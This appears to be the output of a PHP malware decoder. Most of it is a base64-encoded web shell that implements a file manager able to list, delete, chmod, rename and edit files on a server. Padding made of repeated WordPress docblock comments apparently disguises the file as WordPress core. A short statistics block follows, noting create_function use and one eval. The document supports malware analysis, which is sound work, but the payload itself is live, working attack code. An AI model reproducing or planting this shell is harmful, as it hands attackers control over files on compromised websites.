9sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfQogICAgICAgIH1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKICAgICAgICAgICAgaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBGaWxlIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgIGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dHIgY2xhc3M9ImZpcnN0Ij4KICAgICAgICA8dGQ+PGNlbnRlcj5OYW1lPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5TaXplPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+T3B0aW9uczwvY2VudGVyPjwvdGQ+CiAgICA8L3RyPic7CgogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsKICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICBlY2hvICI8dHI+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj4iOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJhcXVhIj4nOwogICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7CiAgICAgICAgCiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CiAgICAgICAgPHNlbGVjdCBuYW1lPVwib3B0XCI+CgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGRpclwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICA8L3RyPiI7CiAgICB9CiAgICBlY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7CiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKICAgICAgICBpZighaXNfZmlsZSgiJHBhdGgvJGZpbGUiKSkgY29udGludWU7CiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7CiAgICAgICAgaWYoJHNpemUgPj0gMTAyNCl7CiAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgJHNpemUgPSAkc2l6ZS4nIEtCJzsKICAgICAgICB9CgogICAgICAgIGVjaG8gIjx0cj4KICAgICAgICA8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+IjsKICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImFxdWEiPic7CiAgICAgICAgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7CiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CiAgICAgICAgPHNlbGVjdCBuYW1lPVwib3B0XCI+CgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJmaWxlXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICA8L3RyPiI7CiAgICB9CiAgICBlY2hvICc8L3RhYmxlPgogICAgPC9kaXY+JzsKfQplY2hvICcKPC9CT0RZPgo8L0hUTUw+JzsKZnVuY3Rpb24gcGVybXMoJGZpbGUpewogICAgJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgIC8vIFNvY2tldAogICAgJGluZm8gPSAncyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKICAgIC8vIFN5bWJvbGljIExpbmsKICAgICRpbmZvID0gJ2wnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CiAgICAvLyBSZWd1bGFyCiAgICAkaW5mbyA9ICctJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewogICAgLy8gQmxvY2sgc3BlY2lhbAogICAgJGluZm8gPSAnYic7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKICAgIC8vIERpcmVjdG9yeQogICAgJGluZm8gPSAnZCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAkaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewogICAgLy8gRklGTyBwaXBlCiAgICAkaW5mbyA9ICdwJzsKfSBlbHNlIHsKICAgIC8vIFVua25vd24KICAgICRpbmZvID0gJ3UnOwp9CgovLyBPd25lcgokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgcmV0dXJuICRpbmZvOwp9Cj8+");exit;
 /**
 * Whether this is an XML-RPC Request
 *
 * @var bool
  * Used to set up and fix common variables and include
 * the WordPress procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see default-constants.php)
 *
 * @package WordPress
 */

/**
 * Stores the location of the WordPress directory of functions, classes, and core content.
 *
 * @since 1.0.0
 * Outputs the OPML XML format for getting the links defined in the link
 * administration. This can be used to export links from one blog over to
 * another. Links aren't exported by the WordPress export, so this file handles
 * that.
 *
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. It will have to be added manually for browsers and users to pick
 * up that this file exists.
 *
 * @package WordPress
 *//**
 * Whether this is an XML-RPC Request
 *
 * @var bool
  * Used to set up and fix common variables and include
 * the WordPress procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see default-constants.php)
 *
 * @package WordPress
 */

/**
 * Stores the location of the WordPress directory of functions, classes, and core content.
 *
 * @since 1.0.0
 * Outputs the OPML XML format for getting the links defined in the link
 * administration. This can be used to export links from one blog over to
 * another. Links aren't exported by the WordPress export, so this file handles
 * that.
 *
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. It will have to be added manually for browsers and users to pick
 * up that this file exists.
 *
 * @package WordPress
 *//**
 * Whether this is an XML-RPC Request
 *
 * @var bool
  * Used to set up and fix common variables and include
 * the WordPress procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see default-constants.php)
 *
 * @package WordPress
 */

/**
 * Stores the location of the WordPress directory of functions, classes, and core content.
 *
 * @since 1.0.0
 * Outputs the OPML XML format for getting the links defined in the link
 * administration. This can be used to export links from one blog over to
 * another. Links aren't exported by the WordPress export, so this file handles
 * that.
 *
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. It will have to be added manually for browsers and users to pick
 * up that this file exists.
 *
 * @package WordPress
 */
 ?>

Function Calls

ini_set 3
clearstatcache 1
set_time_limit 1
create_function 1
error_reporting 1

Variables

$settings create_function

Stats

MD5 744eda9579dde90d9d76cb517b15e108
Eval Count 1
Decode Time 496 ms